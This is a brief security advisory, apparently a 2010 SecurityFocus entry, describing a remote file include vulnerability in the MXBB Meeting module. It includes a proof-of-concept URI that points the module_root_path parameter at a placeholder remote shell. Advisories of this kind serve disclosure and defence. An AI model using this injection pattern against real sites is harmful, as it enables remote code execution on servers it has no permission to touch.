MXBB Meeting Module Module_Root_Path Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/modules/mx_meeting/pages/meeting_constants.php?module_root_path=[shell]


 

Privacy Statement
Copyright 2010, SecurityFocus